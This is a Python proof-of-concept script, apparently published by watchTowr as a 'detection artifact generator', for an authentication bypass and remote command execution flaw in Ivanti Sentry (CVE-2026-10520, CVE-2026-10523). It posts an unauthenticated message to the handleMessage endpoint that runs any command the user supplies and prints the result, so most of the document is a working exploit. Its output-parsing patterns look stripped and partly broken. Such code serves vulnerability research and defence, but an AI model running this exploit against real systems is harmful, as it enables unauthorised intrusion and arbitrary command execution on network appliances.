#!/usr/bin/env python3
import sys
import requests
import re
import argparse
import urllib3
from urllib.parse import urljoin
banner = """ __ ___ ___________
__ _ ______ _/ |__ ____ | |_\\__ ____\\____ _ ________
\\ \\/ \\/ \\__ \\ ___/ ___\\| | \\| | / _ \\ \\/ \\/ \\_ __ \\
\\ / / __ \\| | \\ \\___| Y | |( <_> \\ / | | \\/
\\/\\_/ (____ |__| \\___ |___|__|__ | \\__ / \\/\\_/ |__|
\\/ \\/ \\/
watchTowr-vs-Ivanti-Sentry-RCE-CVE-2026-10520-CVE-2026-10523.py
(*) Ivanti Sentry Authentication Bypass and Remote Code Execution Detection Artifact Generator Tool
- Sonny , watchTowr (sonny@watchTowr.com)
CVEs: [CVE-2026-10520, CVE-2026-10523]
"""
def make_command_request(base_url, command, proxies=None):
"""Send the command execution detection request and return the HTTP response."""
url = urljoin(base_url.rstrip("/") + "/", "mics/api/v2/sentry/mics-config/handleMessage")
headers = {
"Content-Type": "application/x-www-form-urlencoded",
}
data = {
"message": (
"execute system /configuration/system/commandexec "
f"1{command}"
)
}
print(f"[+] Sending command execution check to: {url}")
return requests.post(
url,
headers=headers,
data=data,
timeout=10,
proxies=proxies,
verify=False,
allow_redirects=False,
)
def extract_command_output(response):
"""Extract command output from the successful JSON/XML response body."""
body = response.text
data = body
try:
parsed = response.json()
data = parsed.get("data", "")
except ValueError:
pass
if "Message handled successfully" not in body or "" not in data:
return None
match = re.search(r"(.*?)", data, re.DOTALL)
if not match:
return None
return match.group(1)
def main():
# Print the banner first
print(banner)
parser = argparse.ArgumentParser(description='watchTowr Ivanti Sentry Detection Artifact Generator Tool [CVE-2026-10520, CVE-2026-10523]')
parser.add_argument('--url', required=True, help='Target base URL (e.g., https://127.0.0.1:8443)')
parser.add_argument('--cmd', required=True, help='Command to run for detection (e.g., "uname -a")')
parser.add_argument('-p', '--proxy', help='Proxy address:port (e.g., 127.0.0.1:8080)')
args = parser.parse_args()
base_url = args.url.rstrip('/') # Remove trailing slash if present
proxies = None
if args.proxy:
proxies = {
'http': f'http://{args.proxy}',
'https': f'http://{args.proxy}'
}
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
print("="*60)
print(f"Target: {base_url}")
print(f"Command: {args.cmd}")
if proxies:
print(f"Proxy: {args.proxy}")
print()
try:
response = make_command_request(base_url, args.cmd, proxies)
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
sys.exit(1)
command_output = extract_command_output(response)
if command_output is None:
print("[-] Target does not appear to be vulnerable.")
sys.exit(1)
print("[+] Target appears to be vulnerable.")
print("\nCommand output:")
print(command_output.rstrip())
if __name__ == "__main__":
main()